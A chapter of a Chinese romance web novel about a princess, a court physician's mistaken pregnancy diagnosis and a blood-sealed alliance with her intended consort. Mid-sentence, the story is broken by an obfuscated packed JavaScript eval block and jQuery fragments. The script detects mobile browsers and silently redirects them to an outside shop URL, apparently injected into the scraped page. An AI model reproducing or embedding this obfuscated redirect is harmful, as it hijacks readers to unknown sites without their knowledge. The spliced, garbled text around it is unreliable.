5. 啮臂而盟
作品:《驯驸马》 偌大的长公主府里,一个头发胡子花白的老太医提着药箱呼哧带喘的跟在护卫身后向前脚步不停的小跑着。
庭院里种植的奇花异草分不走他一丝心神。
快点快点快点啊,长公主府遣人如此着急地寻他来定是出了大事。
想到自己昨日才来看过长公主,脉象并未有衰败之迹,能出什么大事呢?
莫不是,莫不是长公主不好了?
祖宗保佑,可千万一定能救得回来才好,自己这把老骨头可经不住皇上的一顿脾气了。
这位皇上最是看重长公主,比起先皇更是不遑多让。
公主幼时生病,尚有先皇后娘娘帮他担着,如今皇上并未有妻,他又应该请哪位神仙救命才好啊。
脑子里乱糟糟地想着,杜太医伸手推开了长公主的闺房。
‘吱呀’一声响,阳光跟着挤了进来,照在林昭宁小麦色的胳膊上,刺得杜太医发出尖锐惊叫。
“公主哇!您的伤势还未痊愈,怎么能拆了绷带呀,快绑上绑上!”
手忙脚乱的打开药箱,从里面掏出剪子和大大小小的药瓶,杜太医一个滑步蹿到了林昭宁的面前,挤开直愣愣盯着自己手中绷带有些碍事的楚云扬,伸手就要抓林昭宁的腕子。
林昭宁侧身躲过,脚下噔噔噔地往前窜,忍着背痛抓着楚云扬挡在了自己身前。
身手矫健得不像才从鬼门关逃回来的。
楚云扬感到背后的拉扯,不自觉张开双臂将林昭宁护在自己的身后,跟着她的脚步移动着自己的脚步。
杜太医哎呦哎呦的叫唤,绕着楚云扬老鹰抓小鸡一般追逐着林昭宁。
她的身体紧紧贴在楚云扬的后背,让他本来因子母蛊感受到痛的后背又多了说不上来的酥痒。
“杜太医,我没事了,你看我好了,我真的好了。你别拿那些绷带缠着我了,箍得我难受得紧。”
林昭宁从楚云扬肋旁衣袖下斜插出腕子,结结实实地晃了晃,展示自己的手好得彻底。
不怪她这般行径。
要说这天下她还怕谁,眼前这位杜老太医能排在第一。
要怪就怪幼时母后总用杜太医的苦汤子吓唬她,都已经成为阴影了,纵使她早就长大成人,可以独当一面,但面对这位活阴影也矮了半截。
杜太医年纪虽大,眼神却好,他仔细观瞧着林昭宁的伤势,看上去确实是好了不少。除了还有一些结痂的痕迹,已经不影响活动了。
也不知道长公主的身体怎么长得,受的伤那么重恢复起来也这么快,说起来,她旁边那位未来小驸马的身体更是恢复起来快得出奇。
感叹长公主和那位未来小驸马身体优异于常人,杜太医顿下了脚步。
不是,既然长公主已然大好了,为什么还要急匆匆唤他来一趟?
林昭宁扒住楚云扬的手臂,从他身后探出脑袋,确认杜太医不会再追着她缠绷带后,才大咧咧地坐在黑漆嵌螺钿茶几旁,给自己倒了一杯水压一压惊,顺便遮住自己忍痛的狰狞。
楚云扬的表情就不容乐观了,从她冲下床开始,他就开始龇牙咧嘴。好在还是个能忍的,杜太医的重心也放在她身上,没看出什么破绽。
杜太医放下手中的东西,从药箱又拿出脉枕和一条素帕子,隔着帕子给林昭宁又诊了一脉。
脉象强而有力,细细感受,脉搏往来流利,左右滑动。长公主的癸水一向准时,并非近期。
难道……这,这是喜脉!
杜太医克制住自己想要瞪大的双眼,指下稍加用力侧耳闭目,诊得更加用心。
再三确认脉象确是喜脉后,他抬眼偷瞧站在一旁的楚云扬,嘴角向下撇着。
还道是君子端方,原来也如此急色,长公主与他相识不过十余日,尚未完婚,肚子里就踹上了孩儿。
这人也不知道心疼心疼公主,将将脱离险境又要面对孕育之苦,只怕母体受损,有碍寿元。
心疼公主的同时,杜太医也心疼自己,要是早知道会知晓皇家秘辛,今日就该上奏告老还乡。
如今好生颐养天年是做不到了,罢了,罢了。这都是命里使然。
叹气从药箱底部抽出纸笔墨砚,杜太医刷刷点点开始写方子。
口中念叨:“长公主身体虽是渐好,但尚未痊愈,之前的方子现下不够用,老臣再给您开个新的,近期勿要操劳,切勿动怒。嗯,最好头三月也不要太过于驸马亲近接触。”
口中叨叨,杜太医像个愁坏了的老父亲,紧皱的眉头不停删改着药方。
“这个用得太重了,还是减点吧。”
“嗯……这味药太苦了,公主不喜,换个什么好呢?”
听着杜太医口中念念有词。楚云扬用手摸了摸后背,待痛觉缓解了一些后,好奇地绕到杜太医身后,看他誊写药方:紫苏、续断、白术、桑寄生……
看上去怎么都是保胎用的?
楚云扬的脑袋跟着杜太医的笔势反复歪来歪去,不自觉开始咬着手指,郏边的酒窝都透着百思不得其解。
林昭宁支着头,狐疑地看着表情一言难尽的两人,丈二和尚摸不着头脑。
怎么,难道杜太医发现了蛊虫的存在,楚云扬又发现了杜太医想要解蛊?
目送走杜太医跌跌撞撞离开的背影,楚云扬和林昭宁对视一眼同时开口:
“你有孕了?”
“杜太医要解蛊了吗?”
话毕,气氛陷入了诡异的沉默。
除了悬挂在檐下的银铃不懂事的还在丁零当啷,屋内的少年少女都不想开口。
楚云扬想扇自己的嘴,怎么可以问出那样的话,毁了长公主的清誉不说,更是把人想得那样坏,居然以为人家是为了遮掩怀孕才草草拿自己做挡箭牌。
明明人家以千金之躯出生入死几回,就是为了救他。
他的嘴巴差点给自己嚼烂了也憋不出一句道歉。
该怎么说才好,会不会让她更不高兴?
楚云扬眼神不断游移着去偷瞄林昭宁的脸色。
没有任何表情。
猜想到杜太医误将子蛊错认成喜脉开了安胎的方子又被楚云扬误会后,林昭宁久久不想开口。
解释吗?
她又没错为什么要解释。
就算是她行事恣意,那她也不过是与天下男子一般而已。
不解释。没必要解释。
扶额不去看楚云扬欲言又止的脸,她无力地摇摇头,接着开始的话题继续下去。
“你想时常伴你母妃身侧,我有办法。”
楚云扬会意这是不计较他的失言,立马殷勤上前,担
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16932267|192820||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
心隔墙有耳,竖起耳朵贴近林昭宁的唇边,小心地等着听接下来的计划。
林昭宁挥手贴在他的脸上将他往旁边推了推。
“又不是什么见不得人的事,不必如此。”
动手再给自己倒了杯水,冷冽的水顺着咽喉下滑,平缓了心情后,她缓缓开口。
”其实和亲没有你想得那么重要,你是不是非要当我夫君也并不重要。这是两方休战的台阶而已。我们两个人只是扮演谈和的棋子。区别在于,我愿意,你不愿意。”
“如今我们有子母蛊在身,一荣俱荣,一损俱损,目的已经达成了一半。”
“至于另一半,需要你配合我。北周有内斗,你助我铲除后患,我放你自由助你登皇位,且立誓我在世时,北周都不会与南齐刀兵相向。如此,两国安稳目的达成。”
强扭的瓜不甜。
天下甜瓜多的是,她没必要非逼着一个不喜欢自己人的强留在自己身边。
既然目的相同,那就互相利用好了,在她看来,可靠的盟友比同床异梦的夫君有用多了。
至少目前为止,除了有些冒失,不谙阴谋外,楚云扬做盟友还是不错的。
单纯,听话,不会担心他会在身后给自己一刀。
知恩图报,脑子也活泛,有责任感,知道自己的使命,尽管再不愿意也肯豁出性命去救她。
她自认自己也不差,于是决定给自己这位盟友一份自由。就当作借命的报酬。
拿起杜太医留下的方子,林昭宁起身走到书桌案前,让羊毫舔饱了墨,执笔洋洋洒洒地写下了一封和离书。
吹干了上面的墨迹,她对跟在自己身侧的楚云扬说道:“你若同意与我结盟,就将这和离书收着,届时皇上权势稳固,你锦衣回国,无人会敢拦你半步。”
她的脸上还有斑驳细小的伤疤露着新长出来的粉肉,眼尾的小痣却让人忽略掉那些细枝末节,只想直视她的双眸。
长长的睫毛在阳光的沐浴下,投下倒影,给那双眼睛蒙上神秘的纱幕。
本该狡黠的虎牙,因着神色坚定,被藏进了略显苍白的双唇中。
她投在墙壁上的身影被斜斜地撕扯成两半,一半现身在人前,一半藏匿在墙壁上,纵观着全局。
风起,窗外有合欢花被吹落,那绒绒花丝飘飘洒洒停在林昭宁的手上赖着不肯走。
楚云扬越过她向着摇曳的花枝处看了半天,隔空想要去抓住那花枝,叫它不要摇了,可他与合欢花相隔不止展臂之距,怎么也耐不住风。
是风动,是心动?楚云扬其实自己也不知道。
那朦朦胧胧出现的感觉到底是出自救命之恩的感激,还是孤身一人惶恐不安下想要的依赖,他分不清。
他可能确实太呆了。但他懂,风说不要追,他就应该走。
桂花还在掉,他却不应该再插手了。
楚云扬转过身,摘掉了林昭宁手背上合欢花的花丝,接过代表自由的和离书。
“那就祝我们,都能达成所愿。”
他撩起袖子,低头咬上自己的手臂,血液顺着口角留下了一滴。林昭宁摸着手臂处被啃咬的痛,也长开了口。
两只手臂三击碰撞,血液交融,滴落在地上开出点点红梅。
啮臂为盟。
誓,必不违。

